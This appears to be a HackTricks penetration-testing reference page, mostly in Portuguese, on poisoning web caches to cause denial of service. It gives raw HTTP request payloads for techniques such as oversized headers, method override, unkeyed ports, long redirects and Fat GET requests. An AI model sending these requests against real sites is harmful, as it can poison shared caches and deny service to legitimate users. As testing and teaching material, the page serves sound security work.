hacktricks/pentesting-web/cache-deception/cache-poisoning-to-dos.md

6.4 KiB

Cache Poisoning to DoS

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% hint style="danger" %} Nesta página você pode encontrar diferentes variações para tentar fazer o servidor web responder com erros a solicitações que são válidas para os servidores de cache {% endhint %}

  • HTTP Header Oversize (HHO)

Envie uma solicitação com um tamanho de cabeçalho maior do que o suportado pelo servidor web, mas menor do que o suportado pelo servidor de cache. O servidor web responderá com uma resposta 400 que pode ser armazenada em cache:

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
  • HTTP Meta Character (HMC) & Valores inesperados

Envie um cabeçalho que contenha alguns caracteres meta prejudiciais como \n e \r. Para que o ataque funcione, você deve contornar o cache primeiro.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

Um cabeçalho mal configurado poderia ser apenas \: como um cabeçalho.

Isso também poderia funcionar se valores inesperados forem enviados, como um Content-Type: inesperado.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
  • Cabeçalho sem chave

Alguns sites retornarão um código de status de erro se verem alguns cabeçalhos específicos na solicitação, como com o cabeçalho X-Amz-Website-Location-Redirect: someThing:

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header
  • HTTP Method Override Attack (HMO)

Se o servidor suportar a alteração do método HTTP com cabeçalhos como X-HTTP-Method-Override, X-HTTP-Method ou X-Method-Override. É possível solicitar uma página válida alterando o método para que o servidor não o suporte, assim uma resposta ruim é armazenada em cache:

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
  • Porta Não Chaveada

Se a porta no cabeçalho Host for refletida na resposta e não estiver incluída na chave de cache, é possível redirecioná-la para uma porta não utilizada:

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
  • Long Redirect DoS

Como no exemplo a seguir, x não está sendo armazenado em cache, então um atacante poderia abusar do comportamento da resposta de redirecionamento para fazer o redirecionamento enviar uma URL tão grande que retorna um erro. Assim, pessoas tentando acessar a URL sem a chave x não armazenada em cache receberão a resposta de erro:

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
  • Normalização de maiúsculas no cabeçalho Host

O cabeçalho Host deve ser insensível a maiúsculas, mas alguns sites esperam que esteja em minúsculas, retornando um erro se não estiver:

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found
  • Normalização de caminho

Algumas páginas retornarão códigos de erro enviando dados URLencode no caminho, no entanto, o servidor de cache fará URLdecode do caminho e armazenará a resposta para o caminho URLdecoded:

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found
  • Fat Get

Alguns servidores de cache, como Cloudflare, ou servidores web, bloqueiam solicitações GET com um corpo, então isso pode ser explorado para armazenar em cache uma resposta inválida:

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

Referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}